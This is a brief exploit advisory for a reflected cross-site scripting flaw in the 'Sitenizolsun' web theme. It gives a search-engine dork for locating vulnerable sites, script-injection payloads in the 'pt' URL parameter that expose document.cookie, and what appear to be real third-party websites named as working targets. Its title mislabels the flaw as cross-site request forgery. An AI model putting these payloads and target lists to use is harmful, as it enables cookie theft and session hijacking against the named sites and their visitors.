# Exploit Title: Sitenizolsun thema XSS Cross site request forgery # Google Dork: inurl:Yer sağlayıcı: SitenizOlsun # Date: 27.08.2018 # Exploit Author: Furkan Özer // Prototyqe # Vendor Homepage: https://www.yurdumyazilim.com/ # Version: ALL # Tested on: Windows 10-Linux Kali # # # # http://www.testsite.com/?SyfNmb=2&pt=hakımızdaa # # # # http://www.testsite.com/?SyfNmb=2&pt=<script>alert(document.cookie)</script> # # http://www.afyontaksi.org/?SyfNmb=2&pt=Hakk%C4%B1m%C4%B1zda # # # http://www.malatyasportaraftarlardernegi.com/?Syf=4&pt=%22%3E%3CScript%3Ealert();%3C/script%3E